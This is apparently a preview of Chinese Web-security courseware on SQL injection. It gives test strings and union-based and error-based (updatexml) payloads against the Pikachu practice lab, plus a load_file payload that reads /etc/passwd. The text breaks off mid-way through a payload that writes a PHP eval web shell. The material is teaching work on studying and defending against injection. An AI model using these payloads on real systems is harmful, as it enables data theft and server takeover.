《Web應(yīng)用安全與防護(hù)》課件 項(xiàng)目8:SQL注入漏洞利用與防護(hù)_第1頁(yè)
《Web應(yīng)用安全與防護(hù)》課件 項(xiàng)目8:SQL注入漏洞利用與防護(hù)_第2頁(yè)
《Web應(yīng)用安全與防護(hù)》課件 項(xiàng)目8:SQL注入漏洞利用與防護(hù)_第3頁(yè)
《Web應(yīng)用安全與防護(hù)》課件 項(xiàng)目8:SQL注入漏洞利用與防護(hù)_第4頁(yè)
《Web應(yīng)用安全與防護(hù)》課件 項(xiàng)目8:SQL注入漏洞利用與防護(hù)_第5頁(yè)
已閱讀5頁(yè),還剩29頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

項(xiàng)目8:SQL注入漏洞利用與防護(hù)項(xiàng)目目標(biāo)知識(shí)目標(biāo):1.了解SQL注入漏洞的基本概念、危害,分類2.理解SQL注入漏洞的測(cè)試流程、測(cè)試字符串3.掌握數(shù)據(jù)庫(kù)的基本操作4.掌握手工注入&工具注入5.掌握SQL注入漏洞的利用與加固能力目標(biāo):1.能利用SQL注入漏洞獲取目標(biāo)靶機(jī)數(shù)據(jù)情感目標(biāo):1.自主、開放的學(xué)習(xí)能力2.良好的自我表現(xiàn)、與人溝通能力3.良好的團(tuán)隊(duì)合作精神1.SQL注入漏洞概述1.1SQL注入漏洞及形成原因定義:SQL注入即是指web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的合法性沒有判斷,攻擊者可以在web應(yīng)用程序中事先定義好的查詢語(yǔ)句的結(jié)尾上添加額外的SQL語(yǔ)句,以此來(lái)實(shí)現(xiàn)欺騙數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行非授權(quán)的任意查詢,從而進(jìn)一步得到相應(yīng)的數(shù)據(jù)信息。原因:SQL注入漏洞主要形成的原因是在數(shù)據(jù)交互中,前端的數(shù)據(jù)傳入到后臺(tái)處理時(shí),沒有做嚴(yán)格的判斷,導(dǎo)致其傳入的“數(shù)據(jù)”拼接到SQL語(yǔ)句中后,被當(dāng)作SQL語(yǔ)句的一部分執(zhí)行。從而導(dǎo)致數(shù)據(jù)庫(kù)受損(被脫褲、被刪除、甚至整個(gè)服務(wù)器權(quán)限淪陷)。1.SQL注入漏洞概述1.2SQL注入漏洞及形成原因Sql注入漏洞形成原因,主要是開發(fā)人員在構(gòu)建代碼時(shí),沒有對(duì)輸入邊界進(jìn)行安全考慮,導(dǎo)致攻擊者可以通過(guò)合法的輸入點(diǎn)提交一些精心構(gòu)造的語(yǔ)句,從而欺騙后臺(tái)數(shù)據(jù)庫(kù)對(duì)其進(jìn)行執(zhí)行,導(dǎo)致數(shù)據(jù)庫(kù)信息泄露。非法輸入:id=1or1=1select*fromproductwhereid=1or1=1正常輸入:id=1select*fromproductwhereid=11.SQL注入漏洞概述1.3SQL注入漏洞危害(1)數(shù)據(jù)庫(kù)信息泄露:數(shù)據(jù)庫(kù)中存放的用戶的隱私信息的泄露(2)網(wǎng)頁(yè)篡改:通過(guò)操作數(shù)據(jù)庫(kù)對(duì)特定問也進(jìn)行篡改(3)網(wǎng)站被掛馬,傳播惡意軟件:修改數(shù)據(jù)庫(kù)一些字段的值,進(jìn)行掛馬攻擊。…….1.SQL注入漏洞概述1.4SQL注入攻擊流程第一步:注入點(diǎn)探測(cè)

自動(dòng)方式:使用web漏洞掃描工具,自動(dòng)進(jìn)行注入點(diǎn)發(fā)現(xiàn)

手動(dòng)方式:手工構(gòu)造sql注入語(yǔ)句進(jìn)行注入點(diǎn)發(fā)現(xiàn)第二步:信息獲取

通過(guò)注入點(diǎn)取期望得到的數(shù)據(jù)

環(huán)境信息:數(shù)據(jù)庫(kù)類型,數(shù)據(jù)庫(kù)版本,操作系統(tǒng)版本,用戶信息等

數(shù)據(jù)庫(kù)信息:數(shù)據(jù)庫(kù)名稱,數(shù)據(jù)庫(kù)表,表字段,字段內(nèi)容第三步:獲取權(quán)限

獲取操作系統(tǒng)權(quán)限,通過(guò)數(shù)據(jù)庫(kù)執(zhí)行shell,上傳木馬1.SQL注入漏洞概述1.5SQL注入測(cè)試字符串or1=1--

'or1=1--

xx%’or1=1--“or1=1--)or1=1--')or1=1--")or1=1--"))or1=1--………..--可以用#替換,url提交過(guò)程中Url編碼后的#為%231.SQL注入漏洞概述$conn=mysql_connect($host,$username,$password);$query=”select*fromuserswhereuser=’admin’andpasswd=’”;$query=$query.$_GET[“passwd”]”’”;$result=mysql_query($query);#######################################################################正常的數(shù)據(jù):passwd=admin888、passwd=test123后臺(tái)所執(zhí)行的語(yǔ)句:Select*fromuserswhereuser=’admin’andpasswd=’admin888’–登陸成功Select*fromuserswhereuser=’admin’andpasswd=’test123’–登陸失敗帶有惡意代碼的數(shù)據(jù):passwd=’

or1=1#此時(shí)后臺(tái)執(zhí)行語(yǔ)句為:Select*fromuserswhereuser=’admin’andpasswd=‘a(chǎn)dmin’or1=1#’–登陸成功1.SQL注入漏洞概述1.6SQL注入漏洞位置(1)登陸框(2)搜索框(3)url參數(shù)值(4)信息設(shè)置只要是后臺(tái)數(shù)據(jù)庫(kù)操作的地方,都有可能有注入2.數(shù)據(jù)庫(kù)基礎(chǔ)2.1數(shù)據(jù)庫(kù)概念數(shù)據(jù)庫(kù):長(zhǎng)期儲(chǔ)存在計(jì)算機(jī)內(nèi)的,有組織的,可共享的數(shù)據(jù)集合。DMBS:如何組織和存儲(chǔ)數(shù)據(jù)庫(kù)中的數(shù)據(jù),如何有效地獲取和維護(hù)這些數(shù)據(jù)。完成這個(gè)任務(wù)的程序(軟件)叫數(shù)據(jù)庫(kù)管理系統(tǒng)(DataBaseManagementSystem:DMBS)DBMSDatabase程序數(shù)據(jù)庫(kù)用戶請(qǐng)求2.數(shù)據(jù)庫(kù)基礎(chǔ)2.2常用的數(shù)據(jù)庫(kù)mysql,oracle,SQLServer等2.3常用的數(shù)據(jù)庫(kù)結(jié)構(gòu)庫(kù)->表->字段,采用結(jié)構(gòu)化查詢語(yǔ)言(SQL)select

列名稱1,列名稱2

from表名稱deletefrom表名稱where

列名稱=值update

表名稱

set列名稱=新值where列名稱=某值insertinto表名(列1,列2,……)values(值1,值2,……)2.數(shù)據(jù)庫(kù)基礎(chǔ)2.2常用的數(shù)據(jù)庫(kù)mysql,oracle,SQLServer等2.3常用的數(shù)據(jù)庫(kù)結(jié)構(gòu)庫(kù)->表->字段,采用結(jié)構(gòu)化查詢語(yǔ)言(SQL)2.數(shù)據(jù)庫(kù)基礎(chǔ)2.4常用的數(shù)據(jù)庫(kù)操作登錄數(shù)據(jù)庫(kù):mysql–uroot–p****顯示數(shù)據(jù)庫(kù):showdatabases;使用數(shù)據(jù)庫(kù):use數(shù)據(jù)庫(kù)名;顯示表名稱:showtables;查看表的字段:desc表名稱;select

列名稱1,列名稱2

from表名稱查詢數(shù)據(jù)庫(kù):selectdatabase();

查詢用戶:selectuser();查詢版本:selectversion()deletefrom表名稱where

列名稱=值update

表名稱

set列名稱=新值where列名稱=某值insertinto表名(列1,列2,……)values(值1,值2,……)3.SQL注入漏洞分類根據(jù)注入點(diǎn)類型不同,分為(1)整數(shù)型user_id=$id(2)字符型user_id=’$id’

(3)搜索型textlike“%{$_GET[‘search’]}%”(4)其他類型

不管是那種類型的注入的,總而言之,就是對(duì)sql中的各種類型的輸入進(jìn)行閉合測(cè)試,構(gòu)造合法的sql,欺騙后臺(tái)的執(zhí)行。只要我們猜測(cè)后臺(tái)的語(yǔ)句是怎么來(lái)拼接的,然后去構(gòu)造閉合。4.union聯(lián)合查詢4.1union操作符union操作符:用于合并兩個(gè)或多個(gè)select語(yǔ)句的結(jié)果集。在mysql數(shù)據(jù)庫(kù)或其他關(guān)系型數(shù)據(jù)庫(kù)里面都提供了這樣的一個(gè)方法。4.2用法舉例selectusername,passwordfromuserwhereid=1unionselect字段1,字段2from表名注意,union內(nèi)部的每個(gè)select語(yǔ)句必須擁有相同數(shù)量的列。mysql>selectid,usernamefrommemberunionselectpw,email,idfrommemberwhereid=2;ERROR1222(21000):TheusedSELECTstatementshaveadifferentnumberofcolumns4.union聯(lián)合查詢4.1union操作符union操作符:用于合并兩個(gè)或多個(gè)select語(yǔ)句的結(jié)果集。在mysql數(shù)據(jù)庫(kù)或其他關(guān)系型數(shù)據(jù)庫(kù)里面都提供了這樣的一個(gè)方法。4.2用法舉例selectusername,passwordfromuserwhereid=1unionselect字段1,字段2from表名注意,union內(nèi)部的每個(gè)select語(yǔ)句必須擁有相同數(shù)量的列。mysql>selectid,usernamefrommemberunionselectpw,email,idfrommemberwhereid=2;ERROR1222(21000):TheusedSELECTstatementshaveadifferentnumberofcolumns4.union聯(lián)合查詢思考題當(dāng)我們用union聯(lián)合查詢的時(shí)候,我們并不知道后臺(tái)的數(shù)據(jù)庫(kù)里面查詢了幾個(gè)字段,怎么解決這個(gè)問題?采用orderby語(yǔ)句4.union聯(lián)合查詢4.3

orderby(1)orderbyn對(duì)查詢的結(jié)果進(jìn)行排序,按照第n列進(jìn)行排序,n數(shù)字是1-9,字母是a-z。(2)orderby語(yǔ)句用于根據(jù)指定的列對(duì)結(jié)果集進(jìn)行排序。如果指定的列不存在,數(shù)據(jù)庫(kù)會(huì)報(bào)錯(cuò),通過(guò)報(bào)錯(cuò)判斷查詢結(jié)果的列數(shù),從而確定主查詢的字段數(shù)。mysql>selectid,usernamefrommemberorderby2;mysql>selectid,usernamefrommemberorderby3;ERROR1054(42S22):Unknowncolumn'3'in'orderclause'4.union聯(lián)合查詢4.4

獲取數(shù)據(jù)庫(kù)基礎(chǔ)信息Step1:用orderby猜測(cè)獲取幾列數(shù)據(jù)Payload:xx’order

by

5#Step2:獲取數(shù)據(jù)庫(kù)基礎(chǔ)信息Payload:kobe'unionselectdatabase(),user()#5.information_schema數(shù)據(jù)庫(kù)5.1information_schema數(shù)據(jù)庫(kù)在mysql中,自帶的information_schema這個(gè)表里面存放了大量的重要信息。如果存在注入點(diǎn)的話,可以直接嘗試對(duì)該數(shù)據(jù)庫(kù)進(jìn)行訪問,從而獲取更多的信息。(1)SCHEMATA表:提供了當(dāng)前mysql實(shí)例中所有數(shù)據(jù)庫(kù)的信息。showdatabases的結(jié)果取自此表。(2)TABLES表:提供了關(guān)于數(shù)據(jù)庫(kù)中表的信息(包括視圖),詳細(xì)表述了某個(gè)表屬于哪個(gè)schema,表類型,創(chuàng)建時(shí)間等信息。是showtablesfromschmename的結(jié)果取自此表。(3)COLUMNS表:提供了表中的列的信息,詳細(xì)表述了某張表所有列以及每個(gè)列的信息,是Showcolumnsfromschemaname.tablename的結(jié)果取自此表。5.information_schema數(shù)據(jù)庫(kù)1.獲取表名mysql>selectid,emailfrommemberwhereusername='kobe'unionselecttable_schema,table_namefrominformation_schema.tableswheretable_schema='pikachu’;Payload:kobe'unionselecttable_schema,table_namefrominformation_schema.tableswheretable_schema='pikachu'#2.獲取列名mysql>selectid,emailfrommemberwhereusername='kobe'unionselecttable_name,column_namefrominformation_schema.columnswheretable_name='users’;Payload:kobe'unionselecttable_name,column_namefrominformation_schema.columnswheretable_name='users'#3.獲取內(nèi)容mysql>selectid,emailfrommemberwhereusername='kobe'unionselectusername,passwordfromusers;Payload:kobe'unionselectusername,passwordfromusers#6.基于函數(shù)報(bào)錯(cuò)的信息獲取6.1常用的報(bào)錯(cuò)函數(shù)updatexml(),extractvalue(),floor()在mysql中使用一些指定的函數(shù)來(lái)制造報(bào)錯(cuò),從報(bào)錯(cuò)信息中獲取設(shè)定的信息。Select、insert,update,delete都可以使用報(bào)錯(cuò)來(lái)獲取信息。利用條件:后臺(tái)沒有屏蔽數(shù)據(jù)庫(kù)報(bào)錯(cuò)信息,在語(yǔ)法發(fā)生錯(cuò)誤時(shí)會(huì)輸出在前端。6.報(bào)錯(cuò)函數(shù)6.1常用的報(bào)錯(cuò)函數(shù)updatexml():該函數(shù)是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù)。extractvalue():該函數(shù)也是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢的xpath函數(shù)floor():myql中用來(lái)取整的函數(shù)UPDATEXML(XML_document,XPath_string,new_value);

第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱第二個(gè)參數(shù):XPath_string(Xpath格式的字符串),對(duì)xml哪個(gè)地方需要更新,即指定一個(gè)位置,這個(gè)參數(shù)必須有效,否則會(huì)出錯(cuò)。第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)

eg:updatexml(1,version(),0)6.報(bào)錯(cuò)函數(shù)6.2利用報(bào)錯(cuò)函數(shù)獲取信息(1)獲取版本admin'andupdatexml(1,concat(0x7e,version()),0)#0x7e為~符號(hào)的16進(jìn)制

admin'andupdatexml(1,version(),0)#(2)獲取數(shù)據(jù)庫(kù)admin'andupdatexml(1,concat(0x7e,database()),0)#(3)獲取表名,出錯(cuò)admin'andupdatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema='pikachu')),0)#修改成下列的形式,limit0,1該函數(shù)的作用是從0位置開始取數(shù)據(jù),步長(zhǎng)位1admin'andupdatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema='pikachu'limit0,1)),0)#6.報(bào)錯(cuò)函數(shù)6.3insert,update,delete報(bào)錯(cuò)利用正常插入:mysql>insertintomember(username,pw,sex,phonenum,address,email)values('xx','123456','boy','1444','hefei','xx@’);Insert和updatepayload:xm'or

updatexml(1,concat(0x7e,database()),0)or‘6.報(bào)錯(cuò)函數(shù)6.3insert,update,delete報(bào)錯(cuò)利用deletpayload:1or

updatexml(1,concat(0x7e,database()),0)7.httpheader注入7.1httpheader注入這是sql注入的一種場(chǎng)景,有些時(shí)候,后臺(tái)開發(fā)人員為了驗(yàn)證客戶端信息,比如UA,cookie。或者通過(guò)httpheader頭信息后去客戶端的一些信息,比如ua,accept等字段。會(huì)對(duì)客戶端的httpheader信息進(jìn)行獲取并使用sql進(jìn)行處理,如果此時(shí)沒有足夠的安全考慮則可能,會(huì)產(chǎn)生httpheader注入。8.Sql注入讀取與寫入8.1讀取文件Mysql通過(guò)

load_file()可以讀取文件條件:1.文件必須在服務(wù)器上2.知道站點(diǎn)的物理路徑3.Mysql用戶必須擁有對(duì)此文件讀取的權(quán)限4.Load_file()操作的目錄是數(shù)據(jù)庫(kù)的存儲(chǔ)路徑5.文件有一定的范圍,默認(rèn)是16M,通過(guò)max_allowed_packet配置最大為1G讀取payloadzz'unionselect1,load_file('/etc/passwd')#8.Sql注入讀取與寫入8.2寫文件mysql通過(guò)intooutfile文件寫入到指定文件如select1,2intooutfile

“/var/www/html/1.php”前提條件:1.需要知道遠(yuǎn)程目錄2.需要遠(yuǎn)程目錄有寫權(quán)限3.需要數(shù)據(jù)庫(kù)開啟了secure_file_priv8.Sql注入讀取與寫入在字符型注入框里輸入,由于有2個(gè)字段,所有構(gòu)造兩個(gè)字段Payload:Kobe'unionselect"<?php@eval($_

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論